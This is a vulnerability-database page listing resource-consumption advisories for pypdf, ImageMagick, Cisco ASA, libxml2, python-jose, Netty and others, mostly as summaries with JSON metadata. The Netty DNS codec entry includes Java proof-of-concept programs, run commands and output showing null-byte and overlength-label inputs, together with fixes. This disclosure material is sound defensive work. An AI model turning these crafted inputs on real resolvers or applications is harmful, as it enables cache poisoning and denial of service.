Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5567 vulnerabilities reference this CWE, most recent first.

GHSA-CJ93-CHG6-VGV8

Vulnerability from github – Published: 2026-06-12 18:29 – Updated: 2026-06-12 18:29
VLAI
Summary
pypdf: Possible large memory usage for large offsets for layout mode text
Details

Impact

An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires extracting text in layout mode with large character offsets.

Patches

This has been fixed in pypdf==6.12.0.

Workarounds

If developers are unable to immediately upgrade, they should consider applying the changes from PR #3790.

Severity
4.8 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pypdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48155"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T18:29:15Z",
    "nvd_published_at": "2026-05-28T16:16:28Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires extracting text in layout mode with large character offsets.\n\n### Patches\n\nThis has been fixed in [pypdf==6.12.0](https://github.com/py-pdf/pypdf/releases/tag/6.12.0).\n\n### Workarounds\n\nIf developers are unable to immediately upgrade, they should consider applying the changes from PR [#3790](https://github.com/py-pdf/pypdf/pull/3790).",
  "id": "GHSA-cj93-chg6-vgv8",
  "modified": "2026-06-12T18:29:15Z",
  "published": "2026-06-12T18:29:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-cj93-chg6-vgv8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48155"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/pull/3790"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/py-pdf/pypdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/releases/tag/6.12.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pypdf: Possible large memory usage for large offsets for layout mode text"
}

GHSA-CJ96-QRCP-8FFP

Vulnerability from github – Published: 2023-09-15 18:30 – Updated: 2024-04-04 07:42
VLAI
Details

Buffer Overflow vulnerability in Control de Ciber version 1.650, in the printing function. Sending a modified request by the attacker could cause a Buffer Overflow when the adminitrator tries to accept or delete the print query created by the request.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-48475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-120",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-12T08:15:13Z",
    "severity": "HIGH"
  },
  "details": "Buffer Overflow vulnerability in Control de Ciber version 1.650, in the printing function. Sending a modified request by the attacker could cause a Buffer Overflow when the adminitrator tries to accept or delete the print query created by the request.",
  "id": "GHSA-cj96-qrcp-8ffp",
  "modified": "2024-04-04T07:42:29Z",
  "published": "2023-09-15T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48475"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-control-de-ciber"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CJC5-J22R-W3P7

Vulnerability from github – Published: 2022-05-14 01:09 – Updated: 2025-04-20 03:44
VLAI
Details

ImageMagick 7.0.6-6 has a memory exhaustion vulnerability in ReadWPGImage in coders/wpg.c via a crafted wpg image file.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-14342"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-12T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "ImageMagick 7.0.6-6 has a memory exhaustion vulnerability in ReadWPGImage in coders/wpg.c via a crafted wpg image file.",
  "id": "GHSA-cjc5-j22r-w3p7",
  "modified": "2025-04-20T03:44:45Z",
  "published": "2022-05-14T01:09:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14342"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/issues/650"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3681-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CJGX-RM4J-VW44

Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2023-08-16 18:30
VLAI
Details

A vulnerability in the IP fragment-handling implementation of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause a memory leak on an affected device. This memory leak could prevent traffic from being processed through the device, resulting in a denial of service (DoS) condition. The vulnerability is due to improper error handling when specific failures occur during IP fragment reassembly. An attacker could exploit this vulnerability by sending crafted, fragmented IP traffic to a targeted device. A successful exploit could allow the attacker to continuously consume memory on the affected device and eventually impact traffic, resulting in a DoS condition. The device could require a manual reboot to recover from the DoS condition. Note: This vulnerability applies to both IP Version 4 (IPv4) and IP Version 6 (IPv6) traffic.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-3373"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-21T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the IP fragment-handling implementation of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause a memory leak on an affected device. This memory leak could prevent traffic from being processed through the device, resulting in a denial of service (DoS) condition. The vulnerability is due to improper error handling when specific failures occur during IP fragment reassembly. An attacker could exploit this vulnerability by sending crafted, fragmented IP traffic to a targeted device. A successful exploit could allow the attacker to continuously consume memory on the affected device and eventually impact traffic, resulting in a DoS condition. The device could require a manual reboot to recover from the DoS condition. Note: This vulnerability applies to both IP Version 4 (IPv4) and IP Version 6 (IPv6) traffic.",
  "id": "GHSA-cjgx-rm4j-vw44",
  "modified": "2023-08-16T18:30:19Z",
  "published": "2022-05-24T17:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3373"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-frag-memleak-mCtqdP9n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CJHG-RJ52-R938

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18
VLAI
Details

Cloud Controller versions prior to 1.118.0 are vulnerable to unauthenticated denial of Service(DoS) vulnerability allowing unauthenticated attackers to cause denial of service by using REST HTTP requests with label_selectors on multiple V3 endpoints by generating an enormous SQL query.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-27T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Cloud Controller versions prior to 1.118.0 are vulnerable to unauthenticated denial of Service(DoS) vulnerability allowing unauthenticated attackers to cause denial of service by using REST HTTP requests with label_selectors on multiple V3 endpoints by generating an enormous SQL query.",
  "id": "GHSA-cjhg-rj52-r938",
  "modified": "2022-05-24T19:18:57Z",
  "published": "2022-05-24T19:18:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22101"
    },
    {
      "type": "WEB",
      "url": "https://www.cloudfoundry.org/blog/cve-2021-22101-cloud-controller-is-vulnerable-to-unauthenticated-denial-of-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-CJP5-W3HM-4QP4

Vulnerability from github – Published: 2022-04-23 00:40 – Updated: 2024-04-03 23:53
VLAI
Details

A denial of service flaw was found in the way the server component of Freeciv before 2.3.4 processed certain packets. A remote attacker could send a specially-crafted packet that, when processed would lead to memory exhaustion or excessive CPU consumption.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2012-5645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-30T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A denial of service flaw was found in the way the server component of Freeciv before 2.3.4 processed certain packets. A remote attacker could send a specially-crafted packet that, when processed would lead to memory exhaustion or excessive CPU consumption.",
  "id": "GHSA-cjp5-w3hm-4qp4",
  "modified": "2024-04-03T23:53:05Z",
  "published": "2022-04-23T00:40:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5645"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/cve-2012-5645"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=696306"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5645"
    },
    {
      "type": "WEB",
      "url": "https://security-tracker.debian.org/tracker/CVE-2012-5645"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-January/095378.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-January/095381.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-January/096391.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/12/18/5"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/12/22/4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/12/30/11"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/12/30/8"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/12/31/2"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/41352"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CJQJ-7Q2Q-JX9C

Vulnerability from github – Published: 2026-01-15 15:31 – Updated: 2026-04-22 12:30
VLAI
Details

A flaw was found in the libxml2 library. This uncontrolled resource consumption vulnerability occurs when processing XML catalogs that contain repeated elements pointing to the same downstream catalog. A remote attacker can exploit this by supplying crafted catalogs, causing the parser to redundantly traverse catalog chains. This leads to excessive CPU consumption and degrades application availability, resulting in a denial-of-service condition.

Severity
2.9 (Low)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-0992"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-15T15:15:52Z",
    "severity": "LOW"
  },
  "details": "A flaw was found in the libxml2 library. This uncontrolled resource consumption vulnerability occurs when processing XML catalogs that contain repeated \u003cnextCatalog\u003e elements pointing to the same downstream catalog. A remote attacker can exploit this by supplying crafted catalogs, causing the parser to redundantly traverse catalog chains. This leads to excessive CPU consumption and degrades application availability, resulting in a denial-of-service condition.",
  "id": "GHSA-cjqj-7q2q-jx9c",
  "modified": "2026-04-22T12:30:29Z",
  "published": "2026-01-15T15:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0992"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:7519"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-0992"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2429975"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/GNOME/libxml2/-/issues/1019"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CJWG-QFPM-7377

Vulnerability from github – Published: 2024-04-26 00:30 – Updated: 2025-02-18 22:46
VLAI
Summary
python-jose denial of service via compressed JWE content
Details

python-jose through 3.3.0 allows attackers to cause a denial of service (resource consumption) during a decode via a crafted JSON Web Encryption (JWE) token with a high compression ratio, aka a "JWT bomb." This is similar to CVE-2024-21319.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-jose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-33664"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-26T16:58:04Z",
    "nvd_published_at": "2024-04-26T00:15:09Z",
    "severity": "MODERATE"
  },
  "details": "python-jose through 3.3.0 allows attackers to cause a denial of service (resource consumption) during a decode via a crafted JSON Web Encryption (JWE) token with a high compression ratio, aka a \"JWT bomb.\" This is similar to CVE-2024-21319.",
  "id": "GHSA-cjwg-qfpm-7377",
  "modified": "2025-02-18T22:46:48Z",
  "published": "2024-04-26T00:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33664"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mpdavis/python-jose/issues/344"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mpdavis/python-jose/pull/345"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mpdavis/python-jose"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mpdavis/python-jose/releases/tag/3.4.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/python-jose/PYSEC-2024-233.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/jwt-bomb-in-python-jose-cve-2024-33664"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "python-jose denial of service via compressed JWE content"
}

GHSA-CM33-6792-R9FM

Vulnerability from github – Published: 2026-05-07 00:12 – Updated: 2026-05-14 20:40
VLAI
Summary
Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)
Details

Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)

1. Vulnerability Summary

Field Value
Product Netty
Version 4.2.12.Final (and all prior versions with codec-dns)
Component io.netty.handler.codec.dns.DnsCodecUtil
Vulnerability Type CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption
Impact DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets

2. Affected Components

Both the encoder and decoder in the same file are affected:

  • io.netty.handler.codec.dns.DnsCodecUtil — encodeDomainName() method (lines 31-51):
  • No null byte validation in domain name labels
  • No per-label length validation (RFC 1035 max: 63 bytes)
  • No total domain name length validation (RFC 1035 max: 255 bytes)

  • Empty labels silently truncate the domain name

  • io.netty.handler.codec.dns.DnsCodecUtil — decodeDomainName() method (lines 53-118):

  • No per-label length validation (max 63)
  • No total domain name length validation (max 255)
  • Unbounded StringBuilder growth from attacker-controlled DNS responses

3. Vulnerability Description

Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.

3.1 Encoder Side — Null Byte Injection (CWE-626)

A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:

  • Java (full string): sees "evil\0.example.com" as a single label containing a null
  • C/native DNS libraries: truncate at the null byte, seeing only "evil"
  • DNS servers: may accept or reject based on implementation

This differential interpretation enables DNS cache poisoning and domain validation bypass.

3.2 Encoder Side — Overlength Label (RFC 1035 Violation)

Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:

  • A 200-byte label length 0xC8 would be interpreted as a compression pointer by standards-compliant DNS parsers
  • This creates parser confusion between label and pointer interpretation

3.3 Encoder Side — Silent Truncation via Empty Labels

encodeDomainName("a..b.com", buf);
// Encodes as: [01] 'a' [00]
// Only "a." is encoded, ".b.com" is silently dropped!

An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.

3.4 Decoder Side — Unbounded Memory Allocation

The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.

Root Cause — Encoder

// DnsCodecUtil.java:31-51
static void encodeDomainName(String name, ByteBuf buf) {
    if (ROOT.equals(name)) {
        buf.writeByte(0);
        return;
    }
    final String[] labels = name.split("\\.");
    for (String label : labels) {
        final int labelLen = label.length();
        if (labelLen == 0) {
            break;  // NO ERROR - silently truncates!
        }
        // NO check: labelLen > 63
        // NO check: label contains null bytes
        // NO check: total name > 255 bytes
        buf.writeByte(labelLen);                    // Can write values > 63!
        ByteBufUtil.writeAscii(buf, label);         // Null bytes pass through!
    }
    buf.writeByte(0);
}

Root Cause — Decoder

// DnsCodecUtil.java:94-99 (decodeDomainName)
} else if (len != 0) {
    if (!in.isReadable(len)) {  // Only checks if bytes EXIST, not if len <= 63
        throw new CorruptedFrameException("truncated label in a name");
    }
    name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');
    //    ^^^^^^ StringBuilder grows WITHOUT any length limit
    in.skipBytes(len);
}

Missing checks in decoder: - No if (len > 63) check per RFC 1035 Section 2.3.4 - No if (name.length() > 255) check for total domain name length

4. Exploitability Prerequisites

Encoder Side (outbound)

  1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names
  2. The constructed DNS packets are sent to DNS servers or resolvers

Decoder Side (inbound)

  1. An application uses Netty's codec-dns or resolver-dns module to process DNS responses
  2. The application communicates with a malicious or compromised DNS server

Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.

5. Attack Scenarios

Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)

String hostname = userInput;  // "evil\0.trusted.com"
DnsQuery query = new DefaultDnsQuery(...)
    .addRecord(DnsSection.QUESTION,
        new DefaultDnsQuestion(hostname, DnsRecordType.A));

The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.

Scenario 2: Label/Pointer Confusion (Encoder)

A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:

Byte:  [C8] [61 61 61 ... (200 bytes)]
         ↑
   Label interpretation: 200-byte label starting with 'a'
   Pointer interpretation: pointer to offset 0x0861 = 2145

Scenario 3: Memory Exhaustion via Large Labels (Decoder)

A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.

Scenario 4: Domain Truncation via Empty Label (Encoder)

encodeDomainName("safe-domain..evil.com", buf);
// Only "safe-domain." is encoded, "evil.com" silently dropped

This can bypass domain allowlists that check the input string.

Scenario 5: Downstream Processing Failures (Decoder)

Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.

6. Proof of Concept

PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;

public class DnsEncoderNullBytePoC {
    public static void main(String[] args) throws Exception {
        System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");

        Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
        Method encode = clazz.getDeclaredMethod("encodeDomainName",
            String.class, ByteBuf.class);
        encode.setAccessible(true);

        // Test 1: Null byte in domain name
        ByteBuf buf = Unpooled.buffer(256);
        encode.invoke(null, "evil\0.example.com", buf);
        byte[] bytes = new byte[buf.readableBytes()];
        buf.readBytes(bytes);
        buf.release();
        System.out.print("[TEST 1] Null byte - Encoded: ");
        for (byte b : bytes) System.out.printf("%02x ", b & 0xff);
        System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");

        // Test 2: 200-byte label
        ByteBuf buf2 = Unpooled.buffer(512);
        encode.invoke(null, "a".repeat(200) + ".com", buf2);
        System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes");
        System.out.println("VULNERABLE: Overlength label accepted!");
        buf2.release();

        // Test 3: Empty label truncation
        ByteBuf buf3 = Unpooled.buffer(256);
        encode.invoke(null, "a..b.com", buf3);
        byte[] bytes3 = new byte[buf3.readableBytes()];
        buf3.readBytes(bytes3);
        buf3.release();
        System.out.print("\n[TEST 3] Empty label - Encoded: ");
        for (byte b : bytes3) System.out.printf("%02x ", b & 0xff);
        System.out.println("\nVULNERABLE: Domain silently truncated!");
    }
}

PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;

public class DnsDecoderLengthPoC {
    public static void main(String[] args) throws Exception {
        System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");

        Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
        Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class);
        decode.setAccessible(true);

        // Test 1: 100-byte label (RFC limit: 63)
        ByteBuf buf1 = Unpooled.buffer(256);
        buf1.writeByte(100);
        buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII));
        buf1.writeByte(3);
        buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII));
        buf1.writeByte(0);
        String r1 = (String) decode.invoke(null, buf1);
        buf1.release();
        System.out.println("[TEST 1] 100-byte label: length=" + r1.length() +
            " VULNERABLE=" + (r1.length() > 64));

        // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)
        ByteBuf buf2 = Unpooled.buffer(512);
        for (int i = 0; i < 5; i++) {
            buf2.writeByte(60);
            buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)
                .getBytes(StandardCharsets.US_ASCII));
        }
        buf2.writeByte(0);
        String r2 = (String) decode.invoke(null, buf2);
        buf2.release();
        System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() +
            " VULNERABLE=" + (r2.length() > 255));
    }
}

How to Compile and Run

JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')

# Encoder PoC
javac -cp "$JARS" DnsEncoderNullBytePoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC

# Decoder PoC
javac -cp "$JARS" DnsDecoderLengthPoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

Encoder PoC:

=== Netty DNS Encoder Validation Bypass PoC ===

[TEST 1] Null byte in domain name
  Input: "evil\0.example.com"
  Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00
  Null byte in label data: true
  VULNERABLE: YES - Null byte accepted!

[TEST 2] Label > 63 bytes in encoder
  Input: "aaaaaa..." (200-char label)
  Encoded bytes: 206
  VULNERABLE: YES - Overlength label accepted in encoder!

[TEST 3] Empty labels (consecutive dots)
  Input: "a..b.com"
  Encoded bytes: 01 61 00
  Note: Empty label truncates the name (may lose data)

Decoder PoC:

=== Netty DNS Decoder Length Bypass PoC ===

[TEST 1] Label > 63 bytes (RFC 1035 violation)
  Label length: 100 bytes (RFC limit: 63)
  Decoded name length: 105
  VULNERABLE: YES - Label > 63 bytes accepted!

[TEST 2] Domain > 255 bytes via multiple labels
  5 labels x 60 bytes = 300+ bytes total
  RFC 1035 limit: 255 bytes
  Decoded name length: 305
  VULNERABLE: YES - Domain > 255 bytes accepted!

7. Impact Analysis

Impact Category Description
Integrity HIGH — Null byte injection causes differential interpretation across DNS implementations
Availability HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder
DNS Cache Poisoning Different parsers see different domain names from the same encoded packet
Domain Validation Bypass Null bytes can bypass allowlist/blocklist checks in DNS proxies
Label/Pointer Confusion Length bytes > 63 conflict with RFC 1035 compression pointer encoding
Silent Truncation Empty labels silently drop the remainder of the domain name
Downstream Failures Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries

8. Remediation Recommendations

Fix for Encoder (encodeDomainName)

static void encodeDomainName(String name, ByteBuf buf) {
    if (ROOT.equals(name)) {
        buf.writeByte(0);
        return;
    }
    int totalLength = 0;
    final String[] labels = name.split("\\.");
    for (String label : labels) {
        final int labelLen = label.length();
        if (labelLen == 0) {
            throw new IllegalArgumentException("DNS name contains empty label: " + name);
        }
        if (labelLen > 63) {
            throw new IllegalArgumentException(
                "DNS label length " + labelLen + " exceeds maximum of 63: " + name);
        }
        for (int i = 0; i < label.length(); i++) {
            if (label.charAt(i) == '\0') {
                throw new IllegalArgumentException(
                    "DNS label contains null byte at index " + i);
            }
        }
        totalLength += 1 + labelLen;
        if (totalLength > 254) {
            throw new IllegalArgumentException(
                "DNS name exceeds maximum length of 255: " + name);
        }
        buf.writeByte(labelLen);
        ByteBufUtil.writeAscii(buf, label);
    }
    buf.writeByte(0);
}

Fix for Decoder (decodeDomainName)

// Add after "} else if (len != 0) {":
if (len > 63) {
    throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63");
}
// Add after "name.append(...)":
if (name.length() > 255) {
    throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255");
}

9. Resources

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42579"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-626"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:12:47Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
